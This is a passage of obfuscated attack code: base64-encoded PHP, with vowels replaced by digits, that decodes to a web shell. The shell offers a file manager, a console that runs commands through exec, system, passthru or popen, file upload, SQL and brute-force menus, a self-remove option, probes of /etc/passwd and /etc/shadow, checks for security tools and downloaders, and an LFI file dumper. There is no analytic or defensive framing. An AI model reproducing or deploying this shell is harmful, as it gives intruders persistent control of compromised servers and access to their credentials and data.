TYnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDhlZScpOyANCiAgICAkMnB0X2NoMXJzNXRzID0gJyc7IA0KICAgIGYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKSANCiAgICAgICAgJDJwdF9jaDFyczV0cyAuPSAnPDJwdDQybiB2MWwzNT0iJy4kNHQ1bS4nIiAnLigkX1BPU1RbJ2NoMXJzNXQnXT09JDR0NW0/J3M1bDVjdDVkJzonJykuJz4nLiQ0dDVtLic8LzJwdDQybj4nOyANCiAgDQogICAgJG0gPSAxcnIxeSgnUzVjIEluZjInPT4nUzVjSW5mMicsJ0Y0bDVzJz0+J0Y0bDVzTTFuJywnRXg1Yyc9PidDMm5zMmw1JywnU3FsJz0+J1NxbCcsJ1BIUCBUMjJscyc9PidwaHB0MjJscycsJ0xGSSc9PidsZjRzYzFuJywnUGhwJz0+J1BocCcsJ1MxZjUgbTJkNSc9PidTMWY1TTJkNScsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ1hTUyBTaDVsbCc9PidYU1NTaDVsbCcsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOyANCiAgICA0ZighNW1wdHkoJEdMT0JBTFNbJzEzdGhfcDFzcyddKSkgDQogICAgICAgICRtWydMMmcyM3QnXSA9ICdMMmcyM3QnOyANCiAgICAkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsgDQogICAgJG01bjMgPSAnJzsgDQogICAgZjJyNTFjaCgkbSAxcyAkayA9PiAkdikgDQogICAgICAgICRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPls8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnJy4kdi4nXCcsbjNsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvMT5dPC90aD4nOyANCiAgDQogICAgJGRyNHY1cyA9ICIiOyANCiAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAndzRuJykgeyANCiAgICAgICAgZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpIA0KICAgICAgICA0Zig0c19kNHIoJGRyNHY1Lic6XFwnKSkgDQogICAgICAgICAgICAkZHI0djVzIC49ICc8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJGRyNHY1Lic6L1wnKSI+WyAnLiRkcjR2NS4nIF08LzE+ICc7IA0KICAgIH0gDQogICAgNWNoMiAnPHQxYmw1IGNsMXNzPTRuZjIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPjx0ZCB3NGR0aD02PjxzcDFuPlVuMW01Ojxicj5VczVyOjxicj5QaHA6PGJyPkhkZDo8YnI+Q3dkOicgLiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bic/Jzxicj5EcjR2NXM6JzonJykgLiAnPC9zcDFuPjwvdGQ+Jw0KICAgICAgIC4gJzx0ZD48bjJicj4nIC4gczNic3RyKEBwaHBfM24xbTUoKSwgMCwgNmEwKSAuICcgPC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPSMwMGJiMDA+PGI+T0ZGPC9iPjwvZjJudD4nKSANCiAgICAgICAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+RnI1NTo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7IA0KfSANCiAgDQpmM25jdDQybiB3czJGMjJ0NXIoKSB7IA0KICAgICQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IiA8ZjJudCBjMmwycj0nI2FpZmYwMCc+KFdyNHQ1MWJsNSk8L2YybnQ+IjoiIDxmMm50IGMybDJyPXI1ZD4oTjJ0IHdyNHQxYmw1KTwvZjJudD4iOyANCiAgICA1Y2gyICIgDQogIA0KPC9kNHY+IA0KPHQxYmw1IGNsMXNzPTRuZjIgNGQ9dDIybHNUYmwgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCUgIHN0eWw1PSdiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vO2IycmQ1ci1iMnR0Mm06YXB4IHMybDRkICNvb287Jz4gDQogICAgPHRyPiANCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PSdnKG4zbGwsdGg0cy5jLnYxbDM1LFwiXCIpO3I1dDNybiBmMWxzNTsnPjxzcDFuPkNoMW5nNSBkNHI6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+UjUxZCBmNGw1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgPC90cj48dHI+IA0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c00xbicsbjNsbCwnbWtkNHInLHRoNHMuZC52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogIA0KICAgIDwvdHI+PHRyPiANCiAgICAgICAgPHRkPjxmMnJtIDJuczNibTR0PVwiZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48c3Axbj5FeDVjM3Q1Ojwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT10NXh0IG4xbTU9YyB2MWwzNT0nJz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC90ZD4gDQogICAgICAgIDx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPiANCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPiANCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuICRHTE9CQUxTWydjd2QnXSAuIic+IA0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+IA0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciIC4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiAiJz4gDQogICAgICAgIDxzcDFuPlVwbDIxZCBmNGw1Ojwvc3Axbj4kNHNfd3I0dDFibDU8YnI+PDRucDN0IGNsMXNzPSd0MjJsc0lucCcgdHlwNT1mNGw1IG4xbTU9Zj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PGJyICA+PC90ZD4gDQogIA0KICAgIDwvdHI+PC90MWJsNT48L2Q0dj48L2IyZHk+PC9odG1sPiI7IA0KfSANCiAgDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0cHczNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0cHczNGQnKT09PWYxbHM1KSkgeyANCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0gDQo0ZiAoIWYzbmN0NDJuXzV4NHN0cygicDJzNHhfZzV0Z3JnNGQiKSAmJiAoc3RycDJzKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddLCAncDJzNHhfZzV0Z3JnNGQnKT09PWYxbHM1KSkgeyANCiAgICBmM25jdDQybiBwMnM0eF9nNXRncmc0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0gDQogIA0KZjNuY3Q0Mm4gd3MyRXgoJDRuKSB7IA0KICAgICQyM3QgPSAnJzsgDQogICAgNGYgKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7IA0KICAgICAgICBANXg1YygkNG4sJDIzdCk7IA0KICAgICAgICAkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsgDQogICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgeyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIEBwMXNzdGhyMygkNG4pOyANCiAgICAgICAgJDIzdCA9IDJiX2c1dF9jbDUxbigpOyANCiAgICB9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgeyANCiAgICAgICAgMmJfc3QxcnQoKTsgDQogICAgICAgIEBzeXN0NW0oJDRuKTsgDQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsgDQogICAgfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7IA0KICAgICAgICAkMjN0ID0gc2g1bGxfNXg1YygkNG4pOyANCiAgICB9IDVsczU0ZiAoNHNfcjVzMjNyYzUoJGYgPSBAcDJwNW4oJDRuLCJyIikpKSB7IA0KICAgICAgICAkMjN0ID0gIiI7IA0KICAgICAgICB3aDRsNSghQGY1MmYoJGYpKSANCiAgICAgICAgICAgICQyM3QgLj0gZnI1MWQoJGYsNjBhdSk7IA0KICAgICAgICBwY2wyczUoJGYpOyANCiAgICB9IA0KICAgIHI1dDNybiAkMjN0OyANCn0gDQpmM25jdDQybiB3czJWNDV3UzR6NSgkcykgeyANCiAgICA0ZigkcyA+PSA2MDdvN3U2OGF1KSANCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MDdvN3U2OGF1ICkuICcgR0InOyANCiAgICA1bHM1NGYoJHMgPj0gNjB1OGk3ZSkgDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7IA0KICAgIDVsczU0ZigkcyA+PSA2MGF1KSANCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsgDQogICAgNWxzNQ0KICAgICAgICByNXQzcm4gJHMgLiAnIEInOyANCn0gDQogIA0KZjNuY3Q0Mm4gd3MyUDVybXMoJHApIHsgDQogICAgNGYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSQ0ID0gJ3MnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSQ0ID0gJy0nOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4ZTAwMCkgPT0gMHhlMDAwKSQ0ID0gJ2InOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4YTAwMCkgPT0gMHhhMDAwKSQ0ID0gJ2MnOyANCiAgICA1bHM1NGYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSQ0ID0gJ3AnOyANCiAgICA1bHM1ICQ0ID0gJzMnOyANCiAgICAkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOyANCiAgICAkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7IA0KICAgICQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsgDQogICAgJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOyANCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOyANCiAgICByNXQzcm4gJDQ7IA0KfSANCiAgDQpmM25jdDQybiB3czJQNXJtc0MybDJyKCRmKSB7IA0KICAgIDRmICghQDRzX3I1MWQxYmw1KCRmKSkgDQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCiAgICA1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKSANCiAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCiAgICA1bHM1DQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9IzAwQkIwMD4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOyANCn0gDQogIA0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7IA0KICAgIGYzbmN0NDJuIHNjMW5kNHIoJGQ0cikgeyANCiAgICAgICAgJGRoICA9IDJwNW5kNHIoJGQ0cik7IA0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKSANCiAgICAgICAgICAgICRmNGw1c1tdID0gJGY0bDVuMW01OyANCiAgICAgICAgcjV0M3JuICRmNGw1czsgDQogICAgfSANCn0gDQogIA0KZjNuY3Q0Mm4gd3MyV2g0Y2goJHApIHsgDQogICAgJHAxdGggPSB3czJFeCgnd2g0Y2ggJyAuICRwKTsgDQogICAgNGYoITVtcHR5KCRwMXRoKSkgDQogICAgICAgIHI1dDNybiAkcDF0aDsgDQogICAgcjV0M3JuIGYxbHM1OyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuUzVjSW5mMigpIHsgDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5TNXJ2NXIgczVjM3I0dHkgNG5mMnJtMXQ0Mm48L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOyANCiAgICBmM25jdDQybiB3czJTNWNQMXIxbSgkbiwgJHYpIHsgDQogICAgICAgICR2ID0gdHI0bSgkdik7IA0KICAgICAgICA0ZigkdikgeyANCiAgICAgICAgICAgIDVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOyANCiAgICAgICAgICAgIDRmKHN0cnAycygkdiwgIlxuIikgPT09IGYxbHM1KSANCiAgICAgICAgICAgICAgICA1Y2gyICR2IC4gJzxicj4nOyANCiAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICA1Y2gyICc8cHI1IGNsMXNzPW1sNj4nIC4gJHYgLiAnPC9wcjU+JzsgDQogICAgICAgIH0gDQogICAgfSANCiAgDQogICAgd3MyUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsgDQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdMMjFkNWQgQXAxY2g1IG0yZDNsNXMnLCA0bXBsMmQ1KCcsICcsIDFwMWNoNV9nNXRfbTJkM2w1cygpKSk7IA0KICAgIHdzMlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsgDQogICAgd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOyANCiAgICB3czJTNWNQMXIxbSgnUzFmNSBtMmQ1IDV4NWMgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV81eDVjX2Q0cicpKTsgDQogICAgd3MyUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7IA0KICAgIHdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsgDQogICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkgDQogICAgICAgICR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOyANCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiTVNTUUwiOyANCiAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiUDJzdGdyNVNRTCI7IA0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkgDQogICAgICAgICR0NW1wW10gPSAiT3IxY2w1IjsgDQogICAgd3MyUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7IA0KICAgIDVjaDIgJzxicj4nOyANCiAgDQogICAgNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ240eCcpIHsgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3Axc3N3ZCcsIEA0c19yNTFkMWJsNSgnLzV0Yy9wMXNzd2QnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJwMXNzd2RcIiknPlt2NDV3XTwvMT4iOiduMicpOyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7IA0KICAgICAgICB3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7IA0KICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7IA0KICAgICAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7IA0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7IA0KICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7IA0KICAgICAgICAgICAgNWNoMiAnPGJyPic7IA0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkgDQogICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKSANCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOyANCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7IA0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsgDQogICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKSANCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpIA0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOyANCiAgICAgICAgICAgICR0NW1wPTFycjF5KCk7IA0KICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKSANCiAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpIA0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7IA0KICAgICAgICAgICAgNWNoMiAnPGJyLz4nOyANCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7IA0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOyANCiAgICAgICAgfSANCiAgICB9IDVsczUgeyANCiAgICAgICAgd3MyUzVjUDFyMW0oJ09TIFY1cnM0Mm4nLHdzMkV4KCd2NXInKSk7IA0KICAgICAgICB3czJTNWNQMXIxbSgnQWNjMjNudCBTNXR0NG5ncycsd3MyRXgoJ241dCAxY2MyM250cycpKTsgDQogICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7IA0KICAgIH0gDQogICAgNWNoMiAnPC9kNHY+JzsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCmYzbmN0NDJuIDFjdDQybmxmNHNjMW4oKSB7IA0KICAgIHdzMkg1MWQ1cigpOyANCiAgICBwcjRudCAnIA0KICAgPGhvPkw1ZC1aNXBwNWw0blwncyBMRkkgRjRsNSBkM21wNXI8L2hvPiANCiAgDQogICA8ZjJybSBtNXRoMmQ9InAyc3QiIDFjdDQybj0iPyI+PDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMSIgdjFsMzU9ImxmNHNjMW4iPiANCiAgICAgIExGSSBVUkw6IDw0bnAzdCB0eXA1PSJ0NXh0IiBzNHo1PSJlMCIgbjFtNT0ibGY0M3JsIiB2MWwzNT0iIj4gPDRucDN0IHR5cDU9InMzYm00dCIgdjFsMzU9IkcyIj4gRjRsNTogPHM1bDVjdCBuMW01PSJzYzFudHlwNSI+IA0KICAgICAgICAgPDJwdDQybiB2MWwzNT0iNiI+IA0KICAgICAgICAgICAgQWNjNXNzIEwyZyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSJhIj4gDQogICAgICAgICAgICBodHRwZC5jMm5mIA0KICAgICAgICAgPC8ycHQ0Mm4+IA0KICANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9Im8iPiANCiAgICAgICAgICAgIEVycjJyIEwyZyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9InUiPiANCiAgICAgICAgICAgIHBocC40bjQgDQogICAgICAgICA8LzJwdDQybj4gDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSJpIj4gDQogICAgICAgICAgICBNeVNRTCANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9ImUiPiANCiAgICAgICAgICAgIEZUUCANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgICAgICAgIDwycHQ0Mm4gdjFsMzU9IjciPiANCiAgICAgICAgICAgIEVudjRyMm4gDQogICAgICAgICA8LzJwdDQybj4gDQogICAgICA8L3M1bDVjdD4gTjNsbDogPHM1bDVjdCBuMW01PSJuM2xsIj4gDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSIlMDAiPiANCiAgICAgICAgICAgIFk1cyANCiAgICAgICAgIDwvMnB0NDJuPiANCiAgDQogICAgICAgICA8MnB0NDJuIHYxbDM1PSIiPiANCiAgICAgICAgICAgIE4yIA0KICAgICAgICAgP